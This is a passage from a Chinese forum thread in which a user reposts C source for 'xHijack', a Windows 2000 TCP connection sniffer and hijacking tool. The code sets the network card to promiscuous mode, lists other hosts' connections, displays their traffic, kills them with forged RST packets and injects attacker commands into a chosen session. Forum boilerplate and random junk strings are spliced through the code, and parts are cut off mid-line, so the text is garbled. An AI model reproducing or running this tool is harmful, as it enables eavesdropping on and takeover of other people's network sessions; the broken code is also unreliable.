0 [( S& G4 R8 V  ^//
' Y5 j2 r# H, o//功能:重置所有于ACTION有关的标志
+ q5 B2 ]2 G: o" V+ N$ \//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()
' ^5 @9 m5 ?1 Z3 r! @% w1 s{
* ?- `! f% n; q" V1 [' r2 o" a  g_dwCtrlConn = 0; ) c' V6 ]* h( E' [2 i# [8 o
  g_pCurrCtrlConn = NULL;
" n' b+ F' [4 p4 v# `2 [  g_dwAction = ACTION_NONE;
  L: H! }6 j8 t. x. Y6 j, r}
, V% F' L. B. [7 {- o: @# V! ^& Y$ C% W  P4 O) z
// 5 h% \9 q- i4 ~+ C; D
//功能:处理Ctrl+C和Ctrl+Break事件 / |. c9 [! s  s5 G, V
//
0 t' }( L$ X. R; U0 \% h% HBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
$ \& v2 F8 g. A+ c{
6 r, B4 C4 K+ s; e( R  switch(dwCtrlType) # N6 ~6 ^) ?3 o  P9 k
  { ( S/ v& f" O9 u' z5 u
    case CTRL_BREAK_EVENT:
! y3 B+ o$ C4 z3 w" e( {      //reset action all flag # ?% p2 f* a7 N6 A. W$ `# l. E
      ResetActionAllFlag(); : I  e/ t9 z! j# l) U2 H8 r% Z
      break;
* z, P# C* L. b% S4 x$ V, \    case CTRL_C_EVENT:
- E5 }. C/ S$ u0 b: s7 C7 d      //terminate all thread
; g7 q; ]* Y# ]+ |3 G      TerminateThread(g_hThread[0], 0);
: u# z. S0 V0 |+ _6 g      TerminateThread(g_hThread[1], 0);
, F7 h' D7 h5 |* E5 y7 L* {" d# [: i      TerminateThread(g_hThread[2], 0);
1 R) v! G/ R, ^( B      TerminateThread(g_hThread[3], 0); / |2 K/ T: d: J- G% `( D8 k7 O3 s: F
      break; + t, ^  f% u" o1 r
    default: 1 Q: h" O' D( Z" j7 y' c
      break;
  C7 ]$ t. K  A1 j5 z! u  }
- f' ]* |- O  Q+ V7 U  return TRUE; + v( q! {5 d& C1 g, u
}
2 z( w" {5 y! \  {6 T
( ?( f2 {. h0 Y8 L' q// 3 @& T8 L/ g) U, E, f/ r
//功能:处理用户输入 ( ]8 {/ P3 [% J3 {
// 2 Z& M& I. l+ N
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) ) P2 g, x7 \, b. f+ u5 a
{
3 L+ V$ i  q7 E1 N2 u  DWORD  i; 0 a1 {& @* Q& g% Y5 o/ D; Q
  char  szBuff[16]; 2 V0 L5 {* W3 Z0 _9 z1 H/ K4 w
) @( J- N, M6 k# ~8 R" }
  *lpCommandPos = 0;
  \& J* G" L$ L1 j2 Y2 M  for(i=0; i<15, i代码比较乱
/ h4 T9 P' k7 u8 @// ' m4 |/ j9 T8 j4 O* ^% `) ]
DWORD WINAPI InterfaceThread(LPVOID lp)   R/ P% E& A2 {) S6 a+ h
{
3 P0 O9 _  W6 Q* b  char  szHelp[] =  "l\t\t<-- List all connections\n"
) S" d! z! Z# s2 Q) X# D" i            "r x\t\t<-- Reset the number x connection\n"
5 Y1 @6 B$ c. }: e9 {$ h* n            "w x\t\t<-- Watch the number x connection\n" ' Z  a! M& V5 C# N8 D0 \
            "h x command\t<-- Hijack the number x connection to execute command\n" 6 B4 o! C6 c2 t, q& `8 u
            "[Note]\n"
9 {8 a: K1 S5 E+ N% |+ G9 P2 L            "Ctrl+Break to clear all action\n"
  o$ C3 r3 Z$ [( u/ Q            "Ctrl+C to exit\n"; ) w, n# v1 T  O! I8 Z
  char  szPrompt[] = "\nxHijack>";
3 i6 [- w3 c6 l& H/ N, P  char  szBuffer[128];
  ]. {, b) D: ?+ @! X6 K  DWORD  dwPos;
6 K  v5 @& |2 b5 Y5 O  PCONNINFO  pTmp;
: v: Q* j8 x5 M5 }2 q' ]  B& S+ \4 Q( T4 j& g. e8 s
  while(1) - }& b5 M: y7 O6 g2 `$ ?: _2 u
  {
9 d; G. O* t+ ^* c    gets(szBuffer);//不考虑buffer overflow
9 l7 [" J' U. L8 F: F0 r* t' G; L    switch(szBuffer[0]) 6 I7 z7 b! R  }9 H. n( o
    { 1 o/ y* Y) Y" d9 A# Q
      case 'l':
7 D! l- `( k- F; E) m. \      case 'L': $ p0 a; e; L; F! H1 W6 w) f" i; ]8 ]
        ListAllConnection();
' P5 r, ?) G* n        break; 5 F+ F3 {9 V- }: u- z' Y4 ?6 \- b2 r
      case 'r': 1 @2 m. @3 I# i* ?4 q( a
      case 'R':
* a4 [1 S! r$ @: i$ t. B        if(strlen(szBuffer) >2)
6 `: t8 a" F3 v        {
* M6 o$ N- a8 D8 |" W$ ]( D          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 4 P1 W2 T- j7 }- \& N+ T& O
          g_dwAction = ACTION_RESET;
- i! u0 b1 Q2 L2 Q' l1 h" J        }
2 p+ v- g5 d% r' ^$ v% q        else printf("%s", szHelp); 4 ?4 C8 D. P6 b& K0 }" t& e5 c3 z
        break;
* [; [9 f1 |7 x      case 'w':
* X9 O! C( k: U* T9 g6 D5 o      case 'W':
; Z6 S5 D, a$ @5 z" _5 O4 ]        if(strlen(szBuffer) > 2)
% t, n8 F/ t+ _7 M        {
* C3 Q6 x0 S9 E0 C          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 9 t% O; a! Z" e2 r
          g_dwAction = ACTION_WATCH; 3 Z7 U7 o$ K1 A& x; a7 F0 u* @/ z
        }   Q+ \/ x0 j  [1 F) t+ K
        else printf("%s", szHelp); ) R- j8 y1 G. t  h! M9 d+ b
        break; 0 P! d. @' P/ R! e
      case 'h': + Y$ F1 y, [9 z# N( O: x( ?% _$ w
      case 'H'://h 1 xxx
+ }9 x. e5 Z: c# v; w        if(strlen(szBuffer) > 5)
0 w; r0 a' L  l" m0 ?5 `3 w        { ( e2 I; M, i/ O
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
. @, X, D) D0 f. q          //如果command第一个字符是'或"
: q2 U9 n- g) h4 m2 R! G          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) 3 x- Q+ ?5 L2 j3 R  L/ z2 H
          {
( z  Y7 ?+ \9 ?+ A  R8 T" I            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
/ P# [% I$ @- t- s! A6 Z8 h  K4 b            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" $ V# d! f( i3 ^$ t. z# E' }9 Z
          }   l$ M1 x  z6 [. m
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); 8 q9 Q2 R" P! C, \9 l: x/ t7 w3 E
          strcat(g_szCommand, "\x0D\x0A"); % }7 u4 H  y5 F: x
          g_dwAction = ACTION_HIJACK;
( n2 f# i- {: L+ h; @5 A+ q/ D        }
5 y6 d4 u4 d* \: U        else printf("%s", szHelp);
* ]0 K2 F  V2 @: W        break;
& n; N8 R: [2 I      default:
% z1 t5 p2 E8 {* i, t* o, y        printf("%s", szHelp); ! E' i$ m6 g1 s2 @4 j: J+ R; ~+ h
        break; ( ^! m# X, N/ D0 k& v) ^
    }//end of switch - S7 I7 S( Z* S6 Q
    //find the specify ident's struct point
; W, ]- B- H0 c! Y2 ^% O    if( (g_dwCtrlConn) && (g_dwAction) )
% D( t* Q: }4 W7 o    { * Z+ G9 O, p& O+ {7 C/ k1 L; U* u! g
      g_pCurrCtrlConn = NULL;
/ i  ]$ t# ]/ H. m$ e4 t7 l" U) P      pTmp = g_pConnHead;   Q2 `8 Y$ Z+ O& Z' {3 f- v7 U% d; M) x
      while(pTmp) " h# a; ^4 a) v6 E# ^
      {
) o) n3 o! g7 y1 H  b; U1 @        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
5 S- X% r6 d6 o- P0 P  v, i) O        {
. B6 m$ Q2 u; d/ @( ]5 r1 i          g_pCurrCtrlConn = pTmp;
, o& }: R- B$ o; V: `3 Y7 O, E          break; 8 H( T5 l3 c6 i
        } / |" K5 p9 _' v! N# O
        pTmp = pTmp->Next; ; a- B! K, c( |: p, I6 j
      }
& i8 u7 H+ T/ z' j      if(!g_pCurrCtrlConn) ( f; _% l# d) Z7 }6 \
      { 1 W7 r: ]4 n! j. e: L( f
        printf("Can't find the number %d connection.\n", g_dwCtrlConn); / @1 g; [: d4 G1 l) d
        //reset action all flag
- K5 m# a$ o' e8 s% Y        ResetActionAllFlag();      
2 p9 A6 [; m; x6 r5 i$ q      }
5 q. \6 P& Z, S2 ]6 [( K# G) T    } , q* A7 Z" A3 ?7 R+ ^
    if(!g_dwCtrlConn) ResetActionAllFlag(); " ]5 m4 D/ c7 B, W
    //显示当前用户所期望的动作 / m/ _) b2 b: c: \: t' F
    printf("\nCurrentAction:");
' _- P8 f/ |; `  w0 i$ n    switch(g_dwAction) ; Z3 d8 Q! S( B" P. K
    { 5 p3 t; A" J8 y& t& K0 R
      case ACTION_WATCH:
' }1 e* Q) ~! l        printf("ACTION_WATCH"); 8 V1 S$ n# D5 D$ K# E! b8 a
        break;
, {" u6 b) G) T. C+ u# N+ l      case ACTION_RESET:
1 v. T7 {! @. v8 V9 G$ u, [: |        printf("ACTION_RESET"); 7 y& ^7 q9 C; P& h' J
        break; * j0 b) L. y+ J( Y
      case ACTION_HIJACK:
5 K) D: `- J+ s. S8 z' \        printf("ACTION_HIJACK");
- Q9 t9 T" k6 {) R        break;
/ E" \7 x7 E9 R      default:
+ j7 e1 p+ H; o- U        printf("ACTION_NONE"); $ D; b; x, c: u2 \$ E: n
        break; ( P  w, m/ L7 h) u! `, s( `- s8 R# |
    } 9 n3 X9 X* y# ?7 R3 B
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); . }, l  `# ~& ^! |8 F; V* T
  }//enf of while
. F  C6 n  y: ^' _* D+ h  return 0; 9 s6 c7 }! d& }4 h% x
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// " T) b- J1 z1 N; \% z0 K" s //功能:列出当前所有连接 + V% P5 o0 W) }6 g // 1 Q* _5 x1 F- I, D" R9 w( mvoid ListAllConnection() + h/ V4 p/ [' E { 6 ~+ Z6 n5 s& U" Q/ Z3 R5 F2 G5 w PCONNINFO pTmp; + {$ s% r) ]8 n- y# y SOCKADDR_IN saDest, saSource; 2 F6 o0 e& d7 n$ m" U pTmp = g_pConnHead; + D* J, \4 R3 x$ ]) S4 d2 S while(pTmp) ; @6 ~. e7 ?( ?/ e- z( d { & ?6 |# r* n9 |1 k- R5 L/ g- D0 U if(pTmp->bActive) W! k v$ G) d, y, e! J+ g { ! `* P# m4 X8 _9 U saSource.sin_addr.s_addr = pTmp->dwServerIP; & t/ {3 K3 H1 L+ L' h saDest.sin_addr.s_addr = pTmp->dwClientIP; ) |6 p& ^$ u, O7 y$ W, ?! _1 N4 t printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), & `& \2 E" N" P4 p ntohs(pTmp->uServerPort)); 6 w8 ?0 ^1 {8 [) | printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 8 [! Z: \; k( n/ B5 w. B1 D* M0 {' C: { } 5 K. n% f* t$ b/ n2 {' {! I pTmp = pTmp->Next; , k+ l( x$ Z$ U7 F% b3 \# v7 p } 1 K+ T. y9 D; _; K/ a% Q i& o } % |$ R4 q4 S, z0 {- U 4 g3 ~! R$ q6 R+ q: p0 S& q% b' y0 u9 S// ! _* c4 m, ?2 X2 C1 G6 K& R) C; e //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 2 o) ]/ V' z5 X8 q9 {# ~5 H" E4 K' N// & M! |' L) u4 a$ {. t& {LPADAPTER InitAdapter() 4 V1 ~; v- e. l1 ?8 G { : ^: B* u& k$ U LPADAPTER lpAdapter; : j5 ~- E' {+ c4 }! g static char AdapterList[Max_Num_Adapter][1024]; 9 \: |. n+ L, O* N! A% V5 ^ char szSelectAdapterName[512]; + H9 u, f2 K/ C) E; I; P7 J3 n$ o/ l WCHAR AdapterName[2048]; 9 ~1 J' F1 x+ B( Z. C WCHAR *temp,*temp1; " N' G8 u! S' f ULONG AdapterLength = 1024; N' Z1 o. g. H# m/ k int iAdapterNum = 0; 0 t" b( N2 F b' o# U& {$ W int iRetCode, i; $ Y9 }8 H$ [, ~0 v$ b% G3 A int iAdapter = 0; 5 x+ E$ x) ^- ^% v ULONG ulLen = 0; , k* D- \0 s7 } DWORD dwRet; / l! h8 m' b! z1 A4 p PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; # G7 M* v# c: d. O PIP_ADDR_STRING pIPAddr; O" r7 j, Q$ e5 Z - [5 {1 ~+ |' p5 m //Get The list of Adapter ; \5 V) w" O$ D6 j7 Z0 s if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) # R3 r# b0 L; Q0 S8 S+ x4 k" ? { % C% z% V2 ~8 J5 N* q" ~" o( c. F3 h printf("Unable to retrieve the list of the adapters!\n"); " E( @3 \- s" ?- t9 k return 0; ; ]1 U. h: V1 B- w4 h# K0 S } ) H8 }: A& a4 Y temp = temp1 = AdapterName; 6 h) {0 L. z H6 B/ b* J5 v* o i = 0; 7 Z/ o1 ?# E2 ~1 F. _ while ((*temp != '\0')||(*(temp-1) != '\0')) $ @/ j, m0 _$ x* C { % `) d$ k5 [- Z6 ?. x7 k9 L if (*temp == '\0') " I8 ?- R* k( y l q5 C0 W { ; Q4 o* @* D+ w$ P% s3 ] memcpy(AdapterList,temp1,(temp-temp1)*2); 6 I1 M' G# }" K- `* J2 Q# n4 c printf("%d - %S\n", i+1, AdapterList); + e% s, E+ W. h+ a temp1=temp+1; ' W$ F4 S+ {% y d i++; ' u' q6 R* z. ?" o% {0 t1 m4 U } J: C. y: D$ V \5 | temp++; , e& M" w: G4 C% }% m6 @6 D( K } ! [- E9 X4 L( [) L4 t( g, E: X' C7 ] //choose adapter # X4 L% V. O, C. h4 l' _& x: B7 e while((iAdapter <= 0) || (iAdapter > i)) 6 r+ D% q; X3 ?# m1 r" ^ { + v' j4 S3 X3 A printf("\nPlease choose your Adapter:"); / ~/ U% N. t9 \* Y/ e o scanf("%1d", &iAdapter); 4 Q4 e% G9 F3 f" d3 d! m } ' {3 d0 y7 O* N printf("\n"); : ]! z: T* S! F; ^( W$ _; J2 ]' k //---------------------------------------------// 5 Z! }- B$ E% Y. V! _ Y* p3 Y //这里调用iphlpapi来取得本地ip_addr和mac_addr ; \5 Z' k+ {% Z5 B. a& v3 y& f sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); % W3 {) _) ~ b% W$ i0 V dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); $ T. n5 U) f- q8 `, P if(dwRet != ERROR_BUFFER_OVERFLOW) 3 E2 f& \9 S+ z { ( d$ m+ \6 z* A& Q) y$ J9 r printf("GetAdapterInfo error:%d\n", GetLastError()); / q7 ^+ p0 A2 q4 l0 R- J/ K0 I4 a return 0; # i% |7 E( m$ d8 `) n0 u! H7 C T } ; K) U# Y3 s) ?. { E, N$ `: ~ pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 7 {" A6 c# U5 T, j" J' ]& ]# L% i if(!pAdapterInfo) ; E, S5 {- V, I { 4 D; n! N) r+ t6 ~. B printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ) ^$ i5 @6 u" Z; r* M" q return 0; ( J& B( v1 C/ y% y* b6 e- _ } w- ?7 u8 s- M; u+ t dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); : ^1 o; Z$ B T, g! e; L+ k if(dwRet != ERROR_SUCCESS) ' @7 R; ?; g( P+ E/ w( i { - M" f( @4 U! A9 t: H printf("GetAdapterInfo error:%d\n", GetLastError()); ) W; W; e# p/ K return 0; 5 J5 t' E7 \; I" } } " t% ]$ X) @; N3 i0 o pTmp = pAdapterInfo; 7 {! i) X. e& ?- d8 T+ D) [; F6 _ while(pTmp) & g5 d* ?" h- M8 c, x { ; B4 A/ x9 p6 @1 x //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) # R% U3 S( X% ~( O { ' K, }8 _ P3 i: } n" T //found it,get own adapter mac address * R& o- P: t' @9 g memcpy(g_szOwnMAC, pTmp->Address, 6); ( L D* ~# ?! v- x* r4 {# S //get ip address & i3 j$ p1 _2 O! @9 f pIPAddr = &pTmp->IpAddressList; ' `% U$ z7 u: @& |% O while(pIPAddr) 5 R, J0 m# q. b* ] { 5 i6 R! e# _9 u2 B: ? g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); . B+ g$ ~1 }+ w$ C pIPAddr = pIPAddr->Next; 1 m4 ?! L$ G0 S if(g_TotalIP >= Max_Num_IPAddr) break; # _: h# H2 t" i: C9 q+ v } % g# w2 s! q' |: J3 g2 p6 | break; * R7 I+ a) N4 M! ]' p% {: A0 L } ! j( C8 h! ? X( D/ {# G$ K pTmp = pTmp->Next; * Z1 F# A2 P# [2 O7 o9 _ } 1 V. a& L. Y2 O" h4 X4 a free(pAdapterInfo); ; [* K1 o+ q' t N0 S$ Q% n) h //not found,return zero 7 b( x D; F n7 j( F) u if( (!pTmp) || (!g_TotalIP) ) return 0; / X9 R0 U/ l4 v8 x% | //---------------------------------------------// 9 b9 c, l$ e+ N) d" T- v% N9 d //open adapter 6 |7 d- ^ G0 U: I9 ~ lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); M& e/ R: f8 s0 A if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) 6 `0 C v7 m6 `- I { % c4 M, L, H) z' O iRetCode = GetLastError(); 8 S, `0 i0 B# r" w* | printf("Unable to open the driver, Error Code : %lx\n", iRetCode); + o6 {6 e) w0 n8 o; m2 s) G- X9 m return 0; 1 K7 X& X" }3 z9 s9 j9 O } 2 U5 ^: C4 d9 U+ I- p1 d // set the network adapter in promiscuous mod 7 R, n/ @. S$ P# ]! H: L7 D5 T: X if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) , P7 T$ K7 i, o( y, S# M% Q8 M# z { - s5 A) W( ~3 \; T& [ printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); * e, ~4 i7 M# d% F. F if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ; `4 N! @. s0 y: C { ) F d4 G' L8 Y printf("Unable to set ALL_LOCAL mode!\n"); ) w$ s O- m# }) Q return 0; 4 E/ ]+ @. Q, }) a- d7 \$ \ } 2 Z6 r, S4 u% ~! U; M' d } * Y) f/ Z: ~9 F1 v) D5 r5 J$ f // set a 512K buffer in the driver ( Q$ l3 {3 K. s4 C* y- } if(PacketSetBuff(lpAdapter, 512000) == FALSE) & O% U+ Z \& A# d; W8 y6 P" A" T { # }3 U0 ` u; I8 [ z! j* B printf("Unable to set the kernel buffer!\n"); C) N4 m0 }6 k return 0; & k8 `6 K- y/ j2 E8 A2 j } - ^) Z$ Y6 G. Z, y // set a 1 second read timeout + f( |9 A) p8 B1 U" y0 J9 ` if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) * H: I3 I4 N3 V) g/ s printf("Warning: unable to set the read tiemout!\n"); 3 `( B$ k6 O4 {( X* F& V/ S if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 9 y, R5 c4 g9 D4 k# z0 ?& A0 k/ i printf("warning: Unable to send more than one packet in a single write!\n"); l- J( [$ L1 _- y* R- n //设置发送的packet - V+ G5 Q& k/ q) z1 K3 l5 d g_lpSendPacket = PacketAllocatePacket(); / u; p' U7 c/ y1 S; Z; h if(g_lpSendPacket == NULL) * A4 D/ R) n9 t- u) F { " b1 I. F2 x, ~9 R2 |) G printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); . a7 ^7 k* e4 |) z: [) N9 F return 0; 4 \- n. e8 j' ^ } 1 d/ O B" @! p$ }( m ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); ' p, y I6 O& H# U% F" E } PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); ( o/ X S2 u7 }4 L1 w: | return lpAdapter; ! Y+ i: v5 ~3 I! r; g* P3 O8 t } % {+ I- J, s* @$ p0 c, h: o1 x + q+ p1 b; D: g/ B$ \ //功能:帮助信息 7 \, l& M; l7 J+ b yvoid usage() $ X2 P2 {% h: Q7 e. F { " Y6 \3 O- {) @) g printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" / h" {8 O- i# Y4 O a l% C$ X "By eyas 2002/8/19\n" 2 h, E/ ^% w5 t. ~5 P; J "http://www.ey4s.org\n" / p" V2 i# \ y3 i6 X9 C0 U3 d "Thanks to Refd0m and shotgun\n\n" ! G2 M! {* {0 q. V "Usage: xHijack ServerSide ClientSide\n\n"); ! D, d0 x) i# A0 h$ [ } 5 j6 A( z' s; ]' I* O , Z l0 l% b% v; K( r7 z9 G// & \: R( P+ }% Y3 U//功能:显示数据包的一些详细信息 & f* d, X1 N$ t# Y9 U( H, g// * O4 o& i" f9 b a VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 8 }* C1 @& V3 L6 T{ + b& e! \* g8 d8 }& P( C9 q SOCKADDR_IN saDest, saSrc; & {1 c) T' [$ ~( Q3 D, G2 h { unsigned char FlagMask; ; X" Z# G6 ~, f3 b! m& R3 g int i; 3 ]2 o, a8 x+ N9 S% C( {' B, J, Y" N3 l/ E saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; ) t0 r1 ]: `& X8 T4 K0 z saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; ( q4 ~3 U$ ?, n9 ] printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); C1 O+ T" E1 r1 u4 [* v printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), 3 a( s7 F `( L1 ]2 {. k& b% C' _ ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 1 f, ^! ^8 C8 c- J# s% O //display TCP flag 7 J) @" k$ \7 E& K for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) \$ z3 ] o3 v# m# V; F+ V7 x5 u { }7 j0 |+ V5 Y% V% b. u. { if((pTCPPacket->tcphdr.th_flag) & FlagMask) ! J) Y1 a, }$ V( ?$ K! m' G, n printf("%c", g_szTcpFlag); + E9 t; m- j! G else printf("-"); % g0 J( ~. i/ k& C+ o } 3 c; j |7 H) ]; P; i* X printf("\n"); 6 d8 P+ G5 Z6 Y& [# f //如有需要,可显示更多详细的信息 3 l" T- a# n# _; H; I if(bDetail) 7 Y* S0 |5 _5 B' e" p printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); 0 d' o+ t& E8 {# C} ; }3 Q1 |+ A- o* Z# w 9 z, o8 ~& `( U: O/ y// / X- }5 U4 U$ h* p* O/ y5 X//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 + H1 J U: S' j) K // 2 G( a( I. H" K) |+ v! J DWORD WINAPI AnalysePacketsThread(LPVOID lp) 1 U' Z" M' M B. E* ^4 m { - E S% e! t3 U4 s/ s ULONG ulBytesReceived; 0 F; A, I" M) ^ USHORT usDataLen; . M$ D: T q0 S- O2 j4 c //USHORT usIPHeadLen, usTCPHeadLen; & o9 }4 X2 _& a+ N& @( U! T/ F O char *buf; ) f$ c! c$ w+ y) w u_int off, i; ) I/ m8 I' c/ o; l PTCPPACKET pTCPPacket; 8 ^! H3 k8 ^' H* n2 G8 s9 S. v6 [ struct bpf_hdr *hdr; ' N- A D q6 I4 d3 U! o LPPACKET lpRecvPacket; : B5 v) ~* `( W char szPacketBuf[256000], *pStr; 2 \; z7 T, e& k% `' h* i1 J% o BOOL bDeleteNode, bAddNew; 9 O8 F* H& n4 J; O2 W DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 ) e, V6 t+ ^8 Q9 D: L BOOL bClientToServer;//数据包是否从客户端发送到服务器端 " R$ k- q% B# e1 | # [1 }. H1 X7 U* E //设置接收的packet + j6 ^8 A- Z( {9 ?' i: |* v! K4 f lpRecvPacket = PacketAllocatePacket(); % T) @9 Q* x8 W( O0 W if(lpRecvPacket == NULL) ! h9 i9 j; f/ Q& g { ( f" H; k2 |0 V; b8 e4 N5 U& p printf("Error:failed to allocate the LPPACKET structure for recv.\n"); " \, k8 w% o3 `' c- L j7 E return 0; 6 H% s8 E9 v1 J. G. x! U# F5 N& y } # F+ i* Q5 X C1 o5 y, h8 k ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); y$ N! h. b) ^+ l PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 6 j4 c# ~' h# T9 s% d while(1) * X7 |, m! L4 p { 4 O4 k3 m; N y& u9 E, s3 b // capture the packets 3 z. D) |! o* m5 U6 b1 U if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) " U6 _: m& B& k0 v9 u+ W$ b/ ] { + y5 l" U9 O2 a9 n% i3 I* z printf("Error: PacketReceivePacket failed.\n"); 8 h' z/ |5 t. r' c6 u+ m1 { break; 2 B( K, `5 P/ M" X5 h* u; z } ! x3 r: H+ {4 J0 a, Q ulBytesReceived = lpRecvPacket->ulBytesReceived; 6 i% X$ c3 D3 v& K2 q0 t( q, J- J$ r7 D buf = lpRecvPacket->Buffer; ; o! b( A: h' u- | D off = 0; 8 C3 k$ H o) g while(off < ulBytesReceived) ) c6 ~$ K6 F" d; `- |$ i( Q( W9 z) O$ r { , v6 I7 D& t6 W3 W( B- w# c) x hdr = (struct bpf_hdr *)(buf + off); $ |+ s4 x# J. G9 R: Q6 f" D% K off += hdr->bh_hdrlen; 0 t. ~) J/ b9 v- U5 a; X7 J- W" r pTCPPacket = (PTCPPACKET)(buf + off); $ r8 w: s5 W q7 [0 X5 {3 J off = Packet_WORDALIGN(off + hdr->bh_caplen); 1 k3 j7 p. ~( ? //不需要处理自己发出的包(转发或本机发送的) 0 j- i/ z7 S4 U0 _, { if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 9 b9 @7 [9 O/ n //检查是否IP包 / L3 S; p' d/ U" N+ M if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; ' p- T% _9 c! m' s //检查是否TCP包 9 V# S, L+ z g! x6 q( Y1 N) x if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; ; o% m& m& T; w; G9 d: O //也不处理DestIP是自己的包 " `' X5 [' b) ]) C for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); 4 D% f2 e& l6 d7 H! b
            //reset action flag
6 h4 g8 N" j; O! W) }$ O            ResetActionAllFlag(); % H7 s$ p  n& W( `" U
          }
! ?/ M2 w/ R+ S# {; r9 c) U4 L& g; B$ S5 _$ \          //start hijack
" F3 ?9 M6 _% p( p' b! L5 ^          else if(g_dwAction == ACTION_HIJACK) 1 w8 d( J0 I6 z( V
          {
3 ]* Z, q0 h* |7 l% ^: t; h. U1 m            //send rst packet to client , X8 v3 i- {$ x9 d" j
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); : d7 U+ r$ G$ _! }6 J2 D5 G
            //send hijack packet to client % i: g! X. J" _/ W5 o
            SendHiJackPacket(pTCPPacket);
% h& o+ }( h1 i, T1 K% S            //reset action flag - [+ }0 \7 l$ C
            ResetActionAllFlag();
/ W2 O4 t+ |$ s, D4 A1 c) z3 ~5 o          }
5 y4 t( p, x+ ^+ c# f        } 9 P4 e4 a% x' z3 ~7 J2 G
        //show the tcp data
; ]  N! ~" Y) G: }3 `8 i        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
; ^+ a& C/ y' G6 i1 \# `* E        {
5 l5 d, T0 U. u8 _( t: Q% O          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 4 G$ ?; |( v1 j
          //暂不考虑IP、TCP头不是20字节的情况 8 G' j  _$ d' e( B( \! z
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 9 K: g  g( X- x- r9 C
          pStr = (char *)pTCPPacket + 54; 2 U2 J/ H) Z& N
          for(i=0; i        } 3 E+ q9 @! \' n! k( F+ F) n
      }
* k" M- ^. ]" ~) V      //debug output
8 q4 F6 W6 U7 z3 k      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); * B, n1 {! W3 z3 y; V
    }//end of analyse packets while
) M8 m0 L, k6 x- ~: R; ^  }//end of recv packets while 1 y( e' G  E, Y( K% X
  PacketFreePacket(lpRecvPacket);
, [6 j1 n  _) x7 E" o1 e0 k  return 0; 4 V5 K6 V% Y) F7 t+ q5 M" e: W+ V* s
} 8 S. L  W% r/ c

2 N9 n9 ]+ c5 }8 I
